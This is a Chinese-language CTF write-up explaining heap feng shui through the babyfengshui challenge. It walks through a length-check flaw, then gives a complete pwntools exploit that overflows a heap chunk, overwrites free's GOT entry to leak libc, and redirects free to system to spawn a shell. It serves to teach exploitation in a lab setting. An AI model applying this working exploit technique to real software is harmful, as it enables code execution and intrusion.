[pwn]堆:堆風水與堆排布-babyfengshui

[pwn]堆:堆風水與堆排布-babyfengshui

所謂堆風水也叫作堆排布,其實說嚴格了並不是一種漏洞的利用方法,而是一種靈活佈置堆塊來控制堆佈局的方法,在一些一些其他漏洞的利用中起到效果。通過一道經典的題目,由清華藍蓮花戰隊出的babyfengshui來看一下:

babyfengshui

查看安全策略在這裏插入圖片描述

沒開PIE,但值得一提的是這是一個32位的程序,32位的堆是4字節對齊的。

查看程序邏輯在這裏插入圖片描述

總共四個功能,比較簡單,添加、刪除顯示和修改描述。

添加:
在這裏插入圖片描述

添加功能會申請兩個堆塊,一個堆塊大小是輸入的大小,用來存放description,另一個堆塊大小是固定的0x80,用來存放指向description的指針和name,name長124,正好是0x80-4。也就是說結構如下:
在這裏插入圖片描述

接着刪除和輸出都沒什麼問題,問題出在update,值得一提的是,update description功能是修改user的description,而add功能中也調用了update函數來第一次輸入description:
在這裏插入圖片描述

出問題是判斷語句,判斷內容是description的地址加上要修改(輸入)的長度不能覆蓋到存放name那個堆塊處。也就是說你第一次輸入的description或者修改的description的長度不能達到圖中紅線處:
在這裏插入圖片描述
看起來好像沒啥問題,但不要因爲這兩個堆塊是連續分配的,就先入爲主的認爲這兩個堆塊是連續的!

漏洞利用

試想一種情況,description的大小是我們能控制的,那麼如果我們讓description堆塊大小位fastbins大小範圍內,如0x20,連續申請兩組,如下圖:
在這裏插入圖片描述
在這裏插入圖片描述
這時釋放user0:
在這裏插入圖片描述
那麼這時候,我們申請一個user,但description長度我們選擇0x80,那麼就會出現description和name堆塊之間並不連續,並且之間隔了兩個堆塊(一個user),而我們修改description可以一直溢出覆蓋下兩個堆塊

那麼利用方法就是:

  1. 通過這個溢出,修改下一個user中的description ptr,也就是指向description的指針,修改爲free的got表(沒開PIE)。
  2. 然後通過display功能,輸出got表的值,泄露出libc地址
  3. 通過泄露的地址計算出system
  4. 修改description(其實是修改free的got表)爲system
  5. 然後釋放一個description值是/bin/sh的堆塊,free已經被劫持爲system,完成利用。

exp如下:

from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process(["/glibc/2.19/32/lib/ld-2.19.so","./babyfengshui"],env={"LD_PRELOAD":"/glibc/2.19/32/lib/libc-2.19.so"})
#gdb.attach(p)
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")

def add(deslen,txtlen,text):
    p.sendlineafter("Action: ",str(0))
    p.sendlineafter("size of description: ",str(deslen))
    p.sendlineafter("name: ",'breeze')
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

def delete(id):
    p.sendlineafter("Action: ",str(1))
    p.sendlineafter("index: ",str(id))

def Display(id):
    p.sendlineafter("Action: ",str(2))
    p.sendlineafter("index: ",str(id))

def update(id,txtlen,text):
    p.sendlineafter("Action: ",str(3))
    p.sendlineafter("index: ",str(id))
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) #0
add(0x20,0x20,'a'*0x20) #1
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) #2
add(0x80,0x8,'/bin/sh\x00') #3
Display(1)

p.recvuntil("description: ")
leak=u32(p.recv(4))
print "leak->"+hex(leak)
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
print "libc_base->"+hex(libc_base)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()
raw_input()

成功:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章